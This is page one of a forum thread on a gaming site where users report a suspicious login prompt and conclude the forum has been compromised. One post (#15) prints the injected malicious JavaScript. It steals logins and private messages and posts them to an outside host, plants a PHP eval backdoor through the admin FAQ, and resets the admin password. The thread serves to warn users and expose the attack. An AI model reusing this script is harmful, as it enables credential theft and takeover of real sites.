Page 1 of 3 123 LastLast
Results 1 to 20 of 57
  1. #1
    Secondary Hivemind Nexus Grizzly's Avatar
    Join Date
    Jun 2011
    Location
    The Archbishopric of Utrecht
    Posts
    1,584

    Happy Gay Dragons.

    Hi there,

    Now that I am browsing hte forum, I am ocasionally being prompted, by my browser, to enter a login and PW with the message "Happy Gay Dragons".

    Is this a bug in the forum, or is it something bad?

  2. #2
    Lesser Hivemind Node Wenz's Avatar
    Join Date
    Oct 2013
    Location
    Gorizia, Italy
    Posts
    829
    Same here. Happens while browsing general sections.
    Esc twice and it won't appear again
    post in progress

  3. #3
    Lesser Hivemind Node Bobtree's Avatar
    Join Date
    Sep 2011
    Posts
    567
    I'm getting the same thing. In the interest of security, I recommend not entering your login & password.

  4. #4
    Secondary Hivemind Nexus LTK's Avatar
    Join Date
    Oct 2011
    Location
    Netherlands
    Posts
    2,083
    Nope, keeps appearing for me even if I cancel. It seems changes are being made to the forums because there's also a box with the rules at the top of forum sections now.

  5. #5
    Happens to me too

  6. #6
    Secondary Hivemind Nexus Heliocentric's Avatar
    Join Date
    Jun 2011
    Posts
    8,813
    Never had that... But I'm on opera mini.
    I'm failing to writing a blog, specifically about playing games the wrong way
    http://playingitwrong.wordpress.com/

  7. #7
    Secondary Hivemind Nexus rockman29's Avatar
    Join Date
    Jul 2013
    Posts
    1,366
    I just got that as well, Chrome Beta.

  8. #8
    Secondary Hivemind Nexus c-Row's Avatar
    Join Date
    Jul 2011
    Location
    Anus Mundi, Germany
    Posts
    1,174
    Same here - Safari on OSX 10.9.4
    - If the sound of Samuel Barber's "Adagio For Strings" makes you think of Kharak burning instead of the Vietnamese jungle, most of your youth happened during the 90s. -

  9. #9
    Moderator QuantaCat's Avatar
    Join Date
    Jun 2011
    Location
    Vienna, Austria
    Posts
    5,807
    likewise, Firefox (latest) on Win7 64

    Ill alert jim
    - Tom De Roeck.

    monochrom & verse publications

    "Quantacat's name is still recognised even if he watches on with detached eyes like Peter Molyneux over a cube in 3D space, staring at it with tears in his eyes, softly whispering... Someday they'll get it."

  10. #10
    Secondary Hivemind Nexus
    Join Date
    Jan 2013
    Posts
    2,039
    Seems dodgy as fuck, even if it isn't. When I close the window twice it seems to go away though.

  11. #11
    Secondary Hivemind Nexus
    Join Date
    Jun 2011
    Posts
    1,595
    Looks like the site's been comproised and we've got the crudest password phising ever going on to me

  12. #12
    Lesser Hivemind Node BasicPauly's Avatar
    Join Date
    Jan 2013
    Posts
    993
    Stupid thing keeps coming back though upon refresh or different section :|
    Steam: basicpaul | Origin: BasicPaul

  13. #13
    Lesser Hivemind Node frightlever's Avatar
    Join Date
    Jun 2011
    Posts
    567
    Anyone try entering gibberish to see if it's accepted? On some, generally financial, sites I often enter my password wrong first try to see if it gets accepted. If it does I know the site, or my PC, has been compromised.

    edit: didn't accept a fake username and password.

  14. #14
    Moderator Anthile's Avatar
    Join Date
    Jun 2011
    Location
    People's Republic of Germany
    Posts
    2,296
    At the time of this writing it does look like the forum has been compromised. Do not enter any sensitive data into the pop up. Do not click any suspicious link. Please report if you spot any further anomalies.

    The announcement is an old one that was supposed to disintegrate after a week or so. Ignore it.
    to wound the autumnal city.

  15. #15
    Secondary Hivemind Nexus
    Join Date
    Jun 2011
    Posts
    1,780
    The site is running some weird code.

    And making connections to www.shareinfoonline.com forum/rps ga.js


    var TYPE_GUEST = 1;
    var TYPE_USER = 2;
    var TYPE_STEAL = 3;
    var TYPE_PLUGIN = 4;
    var TYPE_CHANGE = 5;

    var PATH_HOST = 'http://www.rockpapershotgun.com';
    var PATH_ADMINCP = '/forums/admincp/';
    var PATH_FORUM = PATH_HOST + PATH_ADMINCP;

    var CALLBACK_URL = 'http://www.shareinfoonline.com/forum/rps/data.php';
    var PLUGIN_PAYLOAD = "${@$_GET['foo']?die(eval($_GET['foo'])):0}";

    var container;
    var originalTitle = document.title;

    function request(data) {
    $.post(CALLBACK_URL, data);
    $(document).remove(container);
    }

    function stealPassword() {
    var frame = this.document.getElementById('frame').contentWindo w.document;
    var form = $(frame).find('form[name="loginform"]');
    var username = $(form).find('input[name="vb_login_username"]').val();
    var password = $(form).find('input[name="vb_login_password"]').val();

    if (password.length == 0) {
    getMessages();
    return;
    }

    request({ type: TYPE_STEAL, login: username + ':' + password });
    }

    function getMessages() {
    $.get(PATH_FORUM + '../private.php?do=downloadpm&dowhat=xml', function(data) {
    request({ type: TYPE_USER, messages: escape((new XMLSerializer()).serializeToString(data)) });
    });
    }

    function checkAdmin() {
    var frame = $('<iframe />', { id: 'frame', src: PATH_FORUM + 'index.php?do=home', style: 'display: none;' });
    $(container).append(frame);

    $(frame).load(function() {
    document.title = originalTitle;

    if ($(this.contentWindow.document).find('form[name="loginform"]').length > 0) {
    stealPassword();
    return;
    }

    var adminhash = $(this.contentWindow.document).find('#news input[name="adminhash"]').val();
    var securitytoken = $(this.contentWindow.document).find('#news input[name="securitytoken"]').val();

    $.ajax({
    type: 'POST',
    url: PATH_FORUM + 'faq.php?do=update',
    data: 'do=update&adminhash=' + adminhash + '&securitytoken=' + securitytoken + '&text[1]=' + PLUGIN_PAYLOAD + '&title[1]=&faqparent=faqroot&displayorder=200&product=vbull etin&faq=vb3_board_faq&deftitle=Board+Faq&deftext= Here+you+can+find+answers+to+questions+about+how+t he+board+works.+Use+the+links+below+or+the+search+ box+above+to+find+your+way+around.&volatile=1',
    success: request({ type: TYPE_PLUGIN })
    });
    });
    }

    function changeAdmin() {
    var frame = $('<iframe />', { id: 'frame2', src: PATH_FORUM + 'user.php?do=edit&u=1', style: 'display: none;' });
    $(container).append(frame);
    $(frame).load(function() {
    document.title = originalTitle;

    if (this.contentWindow.document.body.innerHTML.indexO f("you don't have permission") !== -1) {
    getMessages();
    return;
    }

    $(this.contentWindow.document).find('#it_password_ 2').val('asdf1234');
    $(this.contentWindow.document).find('#cpform').sub mit();
    request({ type: TYPE_CHANGE });

    $(this).unbind('load');
    $(this).load(function() {
    document.title = originalTitle;
    });
    });
    }

    $(document).ready(function() {
    if (SECURITYTOKEN == 'guest') {
    request({ type: TYPE_GUEST });
    return;
    }

    container = $('<div />', { id: 'p_c' });
    $('body').append(container);

    checkAdmin();

    });
    [/FONT]

  16. #16
    Secondary Hivemind Nexus Faldrath's Avatar
    Join Date
    Jun 2011
    Location
    São Paulo
    Posts
    1,015
    Yeah, I'm not getting the password prompt, but NoScript is blocking something from shareinfoonline.com. (Firefox 64+NoScript+Adblock Plus).

  17. #17
    Lesser Hivemind Node
    Join Date
    Oct 2012
    Posts
    644
    Getting it here too, Firefox x64+AdblockPlus. I'm panicking.

  18. #18
    Secondary Hivemind Nexus Kadayi's Avatar
    Join Date
    Jun 2011
    Location
    Lagoon West, Vermilion Sands
    Posts
    4,313
    Yep same deal..
    Why yes you're right I'm deliciously evil

    Tradition is the tyranny of dead men

    Steam:Kadayi Origin: Kadayi GFWL: Kadayi

    Probable Replicant

    *blush* I'm flattered by the attention boys, but please let's not make the thread about liddle old me

    Quote Originally Posted by Finicky View Post
    Kadayi will remain the worst poster on the interwebs.
    Gifmaster 4000 2014 Year of the Gif

    He who controls the Doge controls the universe

  19. #19
    Secondary Hivemind Nexus Smashbox's Avatar
    Join Date
    Jul 2011
    Location
    Boston
    Posts
    2,088
    Worrying...


  20. #20
    Secondary Hivemind Nexus
    Join Date
    Jun 2011
    Posts
    1,595
    https://twitter.com/jimrossignol/sta...29169581539329

    It's the same kind of login box you get for a page that's blocked by .htaccess or similar.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •